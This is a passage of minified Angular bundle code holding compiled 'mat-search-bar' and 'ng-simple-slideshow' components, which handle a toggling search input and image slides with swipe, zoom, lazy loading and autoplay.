B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",9,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("placeholder",B.placeholder)("formControl",B.formControl)}}function Et(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",10,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)("formControl",B.formControl)}}function Dt(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",11,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("placeholder",B.placeholder)}}let Pt=(()=>{class m{constructor(){this.onChange=B=>{},this.onTouched=()=>{}}updateChanges(){this.onChange(this.value)}writeValue(B){this.value=B,this.updateChanges()}registerOnChange(B){this.onChange=B}registerOnTouched(B){this.onTouched=B}}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275dir=s.lG2({type:m}),m})();var Ie=(()=>{return(m=Ie||(Ie={}))[m.SIMPLE=0]="SIMPLE",m[m.FORMCONTROL=1]="FORMCONTROL",m[m.AUTOCOMPLETE=2]="AUTOCOMPLETE",m[m.FORMCONTROLANDAUTOCOMPLETE=3]="FORMCONTROLANDAUTOCOMPLETE",Ie;var m})();let te=(()=>{class m extends Pt{constructor(){super(...arguments),this.DISPLAY_TYPE=Ie,this.appearance="standard",this.placeholder="",this.alwaysOpen=!1,this.onBlur=new s.vpe,this.onClose=new s.vpe,this.onEnter=new s.vpe,this.onFocus=new s.vpe,this.onOpen=new s.vpe,this.searchVisible=!1}ngOnInit(){this.formControl||this.matAutocomplete?this.formControl&&this.matAutocomplete?this.mode=Ie.FORMCONTROLANDAUTOCOMPLETE:this.formControl?this.mode=Ie.FORMCONTROL:this.matAutocomplete&&(this.mode=Ie.AUTOCOMPLETE):this.mode=Ie.SIMPLE,this.alwaysOpen&&(this.searchVisible=!0)}close(){this.alwaysOpen||(this.searchVisible=!1),this.value="",this.updateChanges(),this.onClose.emit()}open(){this.searchVisible=!0,this.inputElement.nativeElement.focus(),this.onOpen.emit()}onBlurring(B){!B&&!this.alwaysOpen&&(this.searchVisible=!1),this.onBlur.emit(B)}onEnterring(B){this.onEnter.emit(B)}onFocussing(B){this.onFocus.emit(B)}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275cmp=s.Xpm({type:m,selectors:[["mat-search-bar"]],viewQuery:function(B,ie){if(1&B&&s.Gf(_e,5),2&B){let Xe;s.iGM(Xe=s.CRH())&&(ie.inputElement=Xe.first)}},inputs:{appearance:"appearance",placeholder:"placeholder",alwaysOpen:"alwaysOpen",formControl:"formControl",matAutocomplete:"matAutocomplete"},outputs:{onBlur:"onBlur",onClose:"onClose",onEnter:"onEnter",onFocus:"onFocus",onOpen:"onOpen"},features:[s._Bn([{provide:Q.JU,useExisting:(0,s.Gpc)(()=>m),multi:!0}]),s.qOj],decls:10,vars:6,consts:[[3,"ngSwitch"],["class","mat-search_field",3,"appearance",4,"ngSwitchCase"],["class","mat-search_field",3,"appearance",4,"ngSwitchDefault"],[1,"mat-search_icons"],["matRipple","",1,"mat-search_icon-close",3,"click"],["matRipple","",1,"mat-search_icon-search",3,"click"],[1,"mat-search_field",3,"appearance"],["matInput","","type","text","autocapitalize","none",3,"ngModel","matAutocomplete","placeholder","ngModelChange","blur","keyup.enter","focus"],["input",""],["matInput","","type","text","autocapitalize","none",3,"placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"matAutocomplete","placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"ngModel","placeholder","ngModelChange","blur","keyup.enter","focus"]],template:function(B,ie){1&B&&(s.ynx(0,0),s.YNc(1,ct,3,5,"mat-form-field",1),s.YNc(2,Je,3,4,"mat-form-field",1),s.YNc(3,Et,3,5,"mat-form-field",1),s.YNc(4,Dt,3,4,"mat-form-field",2),s.BQk(),s.TgZ(5,"span",3)(6,"mat-icon",4),s.NdJ("click",function(){return ie.close()}),s._uU(7," close "),s.qZA(),s.TgZ(8,"mat-icon",5),s.NdJ("click",function(){return ie.open()}),s._uU(9," search "),s.qZA()()),2&B&&(s.Q6J("ngSwitch",ie.mode),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.AUTOCOMPLETE),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROL),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROLANDAUTOCOMPLETE),s.xp6(2),s.ekj("mat-search_icons--active",ie.searchVisible))},dependencies:[C.RF,C.n9,C.ED,Q.Fj,Q.JJ,Q.On,pe,w.Hw,oe.KE,R.Nt,u.wG,Q.oH],styles:["[_nghost-%COMP%]{position:relative;display:flex;flex-direction:row;align-items:center;justify-content:flex-end;width:24px;height:24px}.mat-search_field[_ngcontent-%COMP%]{position:absolute;z-index:1;padding:0 24px 0 0}.mat-search_icons[_ngcontent-%COMP%]{display:block;margin:0;padding:0;position:absolute;top:0;left:0}.mat-search_icons[_ngcontent-%COMP%]:hover{cursor:pointer}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{transition:all .2s cubic-bezier(.4,0,.2,1);position:absolute;top:0;left:0;z-index:2;border-radius:50%}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{opacity:0;transform:rotate(225deg)}.mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%]{opacity:1;z-index:3;visibility:visible;transform:rotate(360deg)}"],data:{animation:[(0,X.X$)("slideInOut",[(0,X.SB)("true",(0,X.oB)({width:"*"})),(0,X.SB)("false",(0,X.oB)({width:"0"})),(0,X.eR)("true => false",(0,X.jt)("300ms ease-in")),(0,X.eR)("false => true",(0,X.jt)("300ms ease-out"))])]}}),m})(),x=(()=>{class m{}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({imports:[C.ez,Q.u5,P,w.Ps,R.c,u.si,Q.UX]}),m})()},5192:(At,ae,d)=>{"use strict";d.d(ae,{uK:()=>Q,w5:()=>G});var n=d(4650),a=d(6895),s=d(1481);const u=["container"],c=["prevArrow"],f=["nextArrow"];function E(oe,Ce){1&oe&&n._UZ(0,"div",15)}const _=function(oe,Ce){return{color:oe,"background-color":Ce}};function S(oe,Ce){if(1&oe&&n._UZ(0,"div",16),2&oe){const k=n.oxw().$implicit,K=n.oxw();n.Q6J("ngStyle",n.WLB(2,_,K.captionColor,K.captionBackground))("innerHTML",null==k||null==k.image?null:k.image.caption,n.oJD)}}function g(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"a",12),n.NdJ("click",function(se){n.CHM(k);const ee=n.oxw();return n.KtG(ee.handleClick(se))}),n.YNc(1,E,1,0,"div",13),n.YNc(2,S,1,5,"div",14),n.qZA()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw();n.ekj("selected",null==k?null:k.selected)("hide-slide",!(null!=k&&k.selected||null!=k&&k.leftSide||null!=k&&k.rightSide))("left-side",null==k?null:k.leftSide)("right-side",null==k?null:k.rightSide)("slide-in-left","slideInLeft"===(null==k?null:k.action))("slide-in-right","slideInRight"===(null==k?null:k.action))("slide-out-left","slideOutLeft"===(null==k?null:k.action))("slide-out-right","slideOutRight"===(null==k?null:k.action))("link",(null==k||null==k.image?null:k.image.clickAction)||(null==k||null==k.image?null:k.image.href)),n.s9C("title",null==k||null==k.image?null:k.image.title),n.Q6J("ngStyle",se.getSlideStyle(K)),n.xp6(1),n.Q6J("ngIf",!(null!=k&&k.loaded)),n.xp6(1),n.Q6J("ngIf",se.showCaptions&&(null==k||null==k.image?null:k.image.caption))}}function C(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"li",19),n.NdJ("click",function(){const ee=n.CHM(k).index,q=n.oxw(2);return n.KtG(q.goToSlide(ee))}),n.TgZ(1,"button",20),n._uU(2),n.qZA()()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw(2);n.ekj("slick-active",k.selected),n.xp6(1),n.uIk("style",se.safeStyleDotColor,n.Ckj),n.xp6(1),n.hij(" ",K," ")}}function z(oe,Ce){if(1&oe&&(n.TgZ(0,"ul",17),n.YNc(1,C,3,4,"li",18),n.qZA()),2&oe){const k=n.oxw();n.xp6(1),n.Q6J("ngForOf",k.slides)("ngForTrackBy",k.trackByFn)}}class H{constructor(){this.aw=0,this.ah=0,this.w=0,this.h=0}get ar(){return this.w/this.h}get diag(){return Math.sqrt(this.w*this.w+this.h*this.h)}get valid(){return this.w>0&&this.h>0&&this.aw>0&&this.ah>0}get widthBound(){return this.ar>this.aw/this.ah}}let j=(()=>{class oe{constructor(k){this.platform_id=k,this._disableSwiping=!1,this._enableZoom=!1,this._enablePan=!1,this._startEVCache=null,this._evCache=new Array,this._previousDiagonal=-1,this._originalState=new H,this._slideEvent=new n.vpe(!0),this._clickEvent=new n.vpe(!0),this.pointerUp=K=>{this._pointerUp(K)},this.pointerDown=K=>{this._pointerDown(K)},this.pointerMove=K=>{this._pointerMove(K)}}set disableSwiping(k){this._disableSwiping=k}set enableZoom(k){this._enableZoom=k}set enablePan(k){this._enablePan=k}bind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.addEventListener("pointerdown",this.pointerDown),k.nativeElement.addEventListener("pointerup",this.pointerUp),k.nativeElement.addEventListener("pointercancel",this.pointerUp),k.nativeElement.addEventListener("pointerout",this.pointerUp),k.nativeElement.addEventListener("pointerleave",this.pointerUp),k.nativeElement.addEventListener("pointermove",this.pointerMove))}unbind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.removeEventListener("pointerdown",this.pointerDown),k.nativeElement.removeEventListener("pointerup",this.pointerUp),k.nativeElement.removeEventListener("pointercancel",this.pointerUp),k.nativeElement.removeEventListener("pointerout",this.pointerUp),k.nativeElement.removeEventListener("pointerleave",this.pointerUp),k.nativeElement.removeEventListener("pointermove",this.pointerMove))}get slideEvent(){return this._slideEvent}get clickEvent(){return this._clickEvent}_pointerDown(k){this._evCache.push(k),1===this._evCache.length&&(this._startEVCache=k,(this._enablePan||this._enableZoom)&&(this._loadOriginalState(k),this._convertBGSizeToPixels(k),this._convertBGPosToPixels(k)))}_loadOriginalState(k){if(!this._originalState.valid&&k.target&&k.target.style&&k.target.style.backgroundImage){const K=k.target.style.backgroundImage.match(/^url\\(["\']?(.+?)["\']?\\)$/),se=new Image;se.src=K[1],this._originalState.aw=k.target.offsetWidth,this._originalState.ah=k.target.offsetHeight,this._originalState.w=se.width,this._originalState.h=se.height}}_convertBGSizeToPixels(k){const K=k.target;let se=K.style.backgroundSize;if(se.indexOf(" ")>-1){const ee=se.split(" ");se=this._originalState.widthBound?ee[0]:ee[1]}if("cover"===se)se=this._originalState.widthBound?this._originalState.ah*this._originalState.ar:this._originalState.aw;else if(se.indexOf("px")>-1)se=se.substring(0,se.length-2);else if(se.indexOf("%")>-1){const ee=Number(se.substring(0,se.length-1))/100;se=this._originalState.widthBound?this._originalState.aw*ee:this._originalState.ah*ee*this._originalState.ar}else se="auto"===se?this._originalState.w:this._originalState.widthBound?this._originalState.aw:this._originalState.ah*this._originalState.ar;K.style.backgroundSize=se+"px auto"}_convertBGPosToPixels(k){if(this._originalState.valid){const K=k.target,se=this._currentBGSize(k);let ee=K.style.backgroundPositionX;-1===ee.indexOf("px")&&(ee=this._convertLiteralPosToPercentage(ee),ee.indexOf("%")>-1&&(ee=Number(ee.substring(0,ee.length-1))/100*(this._originalState.aw-se)),K.style.backgroundPositionX=ee+"px");let q=K.style.backgroundPositionY;-1===q.indexOf("px")&&(q=this._convertLiteralPosToPercentage(q),q.indexOf("%")>-1&&(q=Number(q.substring(0,q.length-1))/100*(this._originalState.ah-se/this._originalState.ar)),K.style.backgroundPositionY=q+"px")}}_pointerUp(k){for(let K=0;K<this._evCache.length;K++)if(this._evCache[K].pointerId===k.pointerId){this._evCache.splice(K,1);break}2!==this._evCache.length&&(this._previousDiagonal=-1),0===this._evCache.length&&null!==this._startEVCache&&(this._checkClickOrSwipe(k),this._startEVCache=null,this._originalState=new H)}_checkClickOrSwipe(k){if(!this._targetIsASlide(k))return;const K=k.timeStamp-this._startEVCache.timeStamp,se=k.pageX-this._startEVCache.pageX,ee=k.pageY-this._startEVCache.pageY;!this._enablePan&&Math.abs(se)<15&&Math.abs(ee)<15?this._clickEvent.emit():K<1e3&&Math.abs(ee)<=100&&Math.abs(se)>=30&&!this._disableSwiping&&this._cannotPanMoreTest(k,se)&&this._slideEvent.emit(se<0?1:-1)}_targetIsASlide(k){return k.target.classList.contains("slides")}_cannotPanMoreTest(k,K){if(!this._enablePan)return!0;const se=this._currentBGPosX(k),ee=this._currentBGSize(k);return!(K<0&&ee>this._originalState.aw&&Math.round(this._originalState.aw-ee-se)<0||K>0&&ee>this._originalState.aw&&se<0)}_pointerMove(k){k.preventDefault(),1===this._evCache.length&&this._enablePan&&this._1pointMoveAction(k);for(let K=0;K<this._evCache.length;K++)if(k.pointerId===this._evCache[K].pointerId){this._evCache[K]=k;break}2===this._evCache.length&&this._enableZoom&&this._2pointMoveAction(k)}_1pointMoveAction(k){if(this._evCache[0].pointerId===k.pointerId){const K=this._evCache[0].pageX-k.pageX,se=this._evCache[0].pageY-k.pageY;this._originalState.valid&&(0!==K||0!==se)&&this._transformBGPosition(k,K,se)}}_2pointMoveAction(k){const K=Math.abs(this._evCache[0].pageX-this._evCache[1].pageX),se=Math.abs(this._evCache[0].pageY-this._evCache[1].pageY);let ee=Math.sqrt(K*K+se*se);this._previousDiagonal>0&&this._originalState.valid&&this._transformBGSize(k,ee-this._previousDiagonal),this._previousDiagonal=ee}_transformBGPosition(k,K,se){const ee=k.target,q=this._currentBGPosX(k),we=this._currentBGPosY(k),ce=this._newBGPosXConstraint(q-K,k),je=this._newBGPosYConstraint(we-se,k);(ce!==q||je!==we)&&this._setBGPos(ee,ce,je)}_setBGPos(k,K,se){k.style.backgroundPositionX=K+"px",k.style.backgroundPositionY=se+"px"}_currentBGPosX(k){let K=k.target.style.backgroundPositionX;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_currentBGPosY(k){let K=k.target.style.backgroundPositionY;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_convertLiteralPosToPercentage(k){return"center"===k?"50%":"top"===k||"left"===k?"0%":"bottom"===k||"right"===k?"100%":void 0}_transformBGSize(k,K){const se=k.target,ee=this._currentBGSize(k),q=this._newBGSizeConstraint(ee+K);q!==ee&&this._setBGSize(se,q)}_setBGSize(k,K){k.style.backgroundSize=K+"px auto",k.style.touchAction="none"}_currentBGSize(k){const K=k.target.style.backgroundSize;if(K.indexOf(" ")>-1){const se=K.split(" "),ee=this._originalState.widthBound?se[0].substring(0,se[0].length-2):se[1].substring(0,se[1].length-2);return Number(ee)}if(K.indexOf("px")>-1){const se=K.substring(0,K.length-2);return Number(se)}}_newBGSizeConstraint(k){return this._originalState.widthBound?k<this._originalState.aw?this._originalState.aw:k:k/this._originalState.ar<this._originalState.ah?this._originalState.ah*this._originalState.ar:k}_newBGPosXConstraint(k,K){const se=this._currentBGSize(K);if(se>=this._originalState.aw){if(k>0)return 0;if(k<this._originalState.aw-se)return this._originalState.aw-se}else{if(k<0)return 0;if(k>this._originalState.aw-se)return this._originalState.aw-se}return k}_newBGPosYConstraint(k,K){const se=this._currentBGSize(K);if(se/this._originalState.ar>=this._originalState.ah){if(k>0)return 0;if(k<this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}else{if(k<0)return 0;if(k>this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}return k}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(n.Lbi))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();const U=(0,s.Cb)("firstSlide");let G=(()=>{class oe{constructor(k,K,se,ee,q,we,ce,je){this._pointerService=k,this._renderer=K,this._transferState=se,this._ngZone=ee,this._cdRef=q,this.sanitizer=we,this.platform_id=ce,this.document=je,this.slideIndex=-1,this.slides=[],this.hideLeftArrow=!1,this.hideRightArrow=!1,this._initial=!0,this._isHidden=!1,this.imageUrls=[],this.height="100%",this.showArrows=!0,this.disableSwiping=!1,this.autoPlay=!1,this.autoPlayInterval=3333,this.stopAutoPlayOnSlide=!0,this.autoPlayWaitForLazyLoad=!0,this.backgroundSize="cover",this.backgroundPosition="center center",this.backgroundRepeat="no-repeat",this.showDots=!1,this.dotColor="#FFF",this.showCaptions=!0,this.captionColor="#FFF",this.captionBackground="rgba(0, 0, 0, .35)",this.lazyLoad=!1,this.hideOnNoSlides=!1,this.fullscreen=!1,this.enableZoom=!1,this.enablePan=!1,this.noLoop=!1,this.onSlideLeft=new n.vpe,this.onSlideRight=new n.vpe,this.onSwipeLeft=new n.vpe,this.onSwipeRight=new n.vpe,this.onFullscreenExit=new n.vpe,this.onIndexChanged=new n.vpe,this.onImageLazyLoad=new n.vpe,this.onClick=new n.vpe}get safeStyleDotColor(){return this.sanitizer.bypassSecurityTrustStyle(`--dot-color: ${this.dotColor}`)}ngOnInit(){void 0!==this.debug&&console.warn("[Deprecation Warning]: The debug input will be removed from ng-simple-slideshow in 1.3.0"),this._slideSub=this._pointerService.slideEvent.subscribe(k=>{this.onSlide(k,!0)}),this._clickSub=this._pointerService.clickEvent.subscribe(()=>{this._onClick()}),this.noLoop&&(this.hideLeftArrow=!0)}ngAfterViewInit(){this._pointerService.bind(this.container)}ngOnDestroy(){try{this._slideSub&&!this._slideSub.closed&&this._slideSub.unsubscribe()}catch(k){console.warn("Slide Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._clickSub&&!this._clickSub.closed&&this._clickSub.unsubscribe()}catch(k){console.warn("Click Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._pointerService.unbind(this.container)}catch(k){console.warn("Pointer Service unbind error caught in ng-simple-slideshow OnDestroy:",k)}try{this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null)}catch(k){console.warn("Autoplay cancel error caught in ng-simple-slideshow OnDestroy:",k)}}ngOnChanges(k){k.noLoop&&(k.noLoop.currentValue?(this.hideLeftArrow=this.slideIndex<=0,this.hideRightArrow=this.slideIndex===this.slides.length-1):(this.hideLeftArrow=!1,this.hideRightArrow=!1),this._cdRef.detectChanges())}ngDoCheck(){this.imageUrls&&this.imageUrls.length>0?(!0===this._initial&&(this._urlCache=Array.from(this.imageUrls)),!0===this._isHidden&&(this._renderer.removeStyle(this.container.nativeElement,"display"),this._isHidden=!1),this.setSlides()):!0===this.hideOnNoSlides&&(this._renderer.setStyle(this.container.nativeElement,"display","none"),this._isHidden=!0),this.setStyles(),this.handleAutoPlay(),this._pointerService.disableSwiping=this.disableSwiping,this._pointerService.enableZoom=this.enableZoom,this._pointerService.enablePan=this.enablePan}onSlide(k,K){this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slide(k,K)}_onClick(){const k=this.slides.length>0&&this.slides[this.slideIndex];this.onClick.emit({slide:k,index:this.slideIndex}),k&&k.image.clickAction?k.image.clickAction():k&&k.image.href&&(this.document.location.href=k.image.href)}goToSlide(k){const K=this.slideIndex;this.slideIndex=k-1,this.setSlideIndex(1),this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slideRight(K),this.slides[K].selected=!1,this.slides[this.slideIndex].selected=!0,this._cdRef.detectChanges()}getSlideStyle(k){const K=this.slides[k];return K&&K.loaded?{"background-image":"url("+K.image.url+")","background-size":K.image.backgroundSize||this.backgroundSize,"background-position":K.image.backgroundPosition||this.backgroundPosition,"background-repeat":K.image.backgroundRepeat||this.backgroundRepeat}:{"background-image":void 0,"background-size":void 0,"background-position":void 0,"background-repeat":void 0}}exitFullScreen(k){k.preventDefault(),this.fullscreen=!1,this.onFullscreenExit.emit(!0)}slide(k,K){const se=this.slideIndex;this.setSlideIndex(k)&&(this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),1===k?this.slideRight(se,K):this.slideLeft(se,K),this.slides[se].selected=!1,this.slides[this.slideIndex].selected=!0),this._cdRef.detectChanges()}setSlideIndex(k){let K=!0;return this.slideIndex+=k,this.noLoop&&(this.hideRightArrow=this.slideIndex===this.slides.length-1,this.hideLeftArrow=!1),this.slideIndex<0?this.noLoop?(this.slideIndex-=k,K=!1,this.hideLeftArrow=!0):this.slideIndex=this.slides.length-1:this.slideIndex>=this.slides.length&&(this.noLoop?(this.slideIndex-=k,K=!1,this.hideRightArrow=!0):this.slideIndex=0),K&&this.onIndexChanged.emit(this.slideIndex),K}slideLeft(k,K){!0===K?this.onSwipeLeft.emit(this.slideIndex):this.onSlideLeft.emit(this.slideIndex),this.slides[this.getLeftSideIndex(k)].leftSide=!1,this.slides[k].leftSide=!0,this.slides[k].action="slideOutLeft",this.slides[this.slideIndex].rightSide=!1,this.slides[this.getRightSideIndex()].rightSide=!0,this.slides[this.slideIndex].action="slideInRight"}slideRight(k,K){!0===K?this.onSwipeRight.emit(this.slideIndex):this.onSlideRight.emit(this.slideIndex),this.slides[this.getRightSideIndex(k)].rightSide=!1,this.slides[k].rightSide=!0,this.slides[k].action="slideOutRight",this.slides[this.slideIndex].leftSide=!1,this.slides[this.getLeftSideIndex()].leftSide=!0,this.slides[this.slideIndex].action="slideInLeft"}setSlides(){this.imageUrls&&(this.checkCache()||!0===this._initial)&&(this._initial=!1,this._urlCache=Array.from(this.imageUrls),this.slides=[],!0===this.lazyLoad?this.buildLazyLoadSlideArray():this.buildSlideArray(),this._cdRef.detectChanges())}buildLazyLoadSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:null}:{url:null,href:k.href||""},action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!1});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.loadFirstSlide(),this.onIndexChanged.emit(this.slideIndex)}buildSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:k}:k,action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!0});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.onIndexChanged.emit(this.slideIndex)}loadFirstSlide(){const k=this.slideIndex,K=this.imageUrls[k];if((0,a.PM)(this.platform_id))this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this._transferState.set(U,this.slides[k]);else{const se=this._transferState.get(U,null);if(null===se){let ee=new Image;ee.src="string"==typeof K?K:K.url,ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this.onImageLazyLoad.emit(this.slides[k]),this._cdRef.detectChanges()})}else this.slides[k]=se,this._transferState.remove(U)}}loadRemainingSlides(){for(let k=0;k<this.slides.length;k++)this.slides[k].loaded||new Promise(K=>{const se=this.imageUrls[k];let ee=new Image;ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof se?{url:se}:se,this.slides[k].loaded=!0,this._cdRef.detectChanges(),this.onImageLazyLoad.emit(this.slides[k]),K()}),ee.src="string"==typeof se?se:se.url})}handleAutoPlay(k){(0,a.PM)(this.platform_id)||(!0===k||!1===this.autoPlay?this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null):this._autoplayIntervalId||this._ngZone.runOutsideAngular(()=>{this._autoplayIntervalId=setInterval(()=>{(!this.autoPlayWaitForLazyLoad||this.autoPlayWaitForLazyLoad&&this.slides[this.slideIndex]&&this.slides[this.slideIndex].loaded)&&this._ngZone.run(()=>this.slide(1))},this.autoPlayInterval)}))}setStyles(){this.fullscreen?(this._renderer.setStyle(this.container.nativeElement,"height","100%"),this._renderer.setStyle(this.container.nativeElement,"background-color","white")):(this._renderer.removeStyle(this.container.nativeElement,"background-color"),this.height&&this._renderer.setStyle(this.container.nativeElement,"height",this.height),this.minHeight&&this._renderer.setStyle(this.container.nativeElement,"min-height",this.minHeight)),this.arrowSize&&(this._renderer.setStyle(this.prevArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.prevArrow.nativeElement,"width",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"width",this.arrowSize))}checkCache(){return!(this._urlCache.length===this.imageUrls.length&&this._urlCache.every((k,K)=>k===this.imageUrls[K]))}getLeftSideIndex(k){return void 0===k&&(k=this.slideIndex),--k<0&&(k=this.slides.length-1),k}getRightSideIndex(k){return void 0===k&&(k=this.slideIndex),++k>=this.slides.length&&(k=0),k}trackByFn(k,K){return K.image}handleClick(k){k.preventDefault()}}return oe.\\u0275fac=function(k){return new(k||oe)(n.Y36(j),n.Y36(n.Qsj),n.Y36(s.ki),n.Y36(n.R0b),n.Y36(n.sBO),n.Y36(s.H7),n.Y36(n.Lbi),n.Y36(a.K0))},oe.\\u0275cmp=n.Xpm({type:oe,selectors:[["slideshow"]],viewQuery:function(k,K){if(1&k&&(n.Gf(u,5),n.Gf(c,5),n.Gf(f,5)),2&k){let se;n.iGM(se=n.CRH())&&(K.container=se.first),n.iGM(se=n.CRH())&&(K.prevArrow=se.first),n.iGM(se=n.CRH())&&(K.nextArrow=se.first)}},inputs:{imageUrls:"imageUrls",height:"height",showArrows:"showArrows",disableSwiping:"disableSwiping",autoPlay:"autoPlay",autoPlayInterval:"autoPlayInterval",stopAutoPlayOnSlide:"stopAutoPlayOnSlide",autoPlayWaitForLazyLoad:"autoPlayWaitForLazyLoad",backgroundSize:"backgroundSize",backgroundPosition:"backgroundPosition",backgroundRepeat:"backgroundRepeat",showDots:"showDots",dotColor:"dotColor",showCaptions:"showCaptions",captionColor:"captionColor",captionBackground:"captionBackground",lazyLoad:"lazyLoad",hideOnNoSlides:"hideOnNoSlides",fullscreen:"fullscreen",enableZoom:"enableZoom",enablePan:"enablePan",noLoop:"noLoop",minHeight:"minHeight",arrowSize:"arrowSize",debug:"debug"},outputs:{onSlideLeft:"onSlideLeft",onSlideRight:"onSlideRight",onSwipeLeft:"onSwipeLeft",onSwipeRight:"onSwipeRight",onFullscreenExit:"onFullscreenExit",onIndexChanged:"onIndexChanged",onImageLazyLoad:"onImageLazyLoad",onClick:"onClick"},features:[n._Bn([j]),n.TTD],decls:12,vars:11,consts:[[1,"fs-container",3,"click"],["title","Back",1,"arrow-exitfs","prev"],[1,"slideshow-container"],["container",""],["class","slides","href","#!","tabindex","-1",3,"title","ngStyle","selected","hide-slide","left-side","right-side","slide-in-left","slide-in-right","slide-out-left","slide-out-right","link","click",4,"ngFor","ngForOf","ngForTrackBy"],[1,"arrow-container","prev",3,"click"],["title","Previous",1,"arrow","prev"],["prevArrow",""],[1,"arrow-container","next",3,"click"],["title","Next",1,"arrow","next"],["nextArrow",""],["class","slick-dots",4,"ngIf"],["href","#!","tabindex","-1",1,"slides",3,"title","ngStyle","click"],["class","loader",4,"ngIf"],["class","caption",3,"ngStyle","innerHTML",4,"ngIf"],[1,"loader"],[1,"caption",3,"ngStyle","innerHTML"],[1,"slick-dots"],[3,"slick-active","click",4,"ngFor","ngForOf","ngForTrackBy"],[3,"click"],["type","button"]],template:function(k,K){1&k&&(n.TgZ(0,"div",0),n.NdJ("click",function(ee){return K.exitFullScreen(ee)}),n._UZ(1,"i",1),n.qZA(),n.TgZ(2,"div",2,3),n.YNc(4,g,3,22,"a",4),n.TgZ(5,"div",5),n.NdJ("click",function(){return 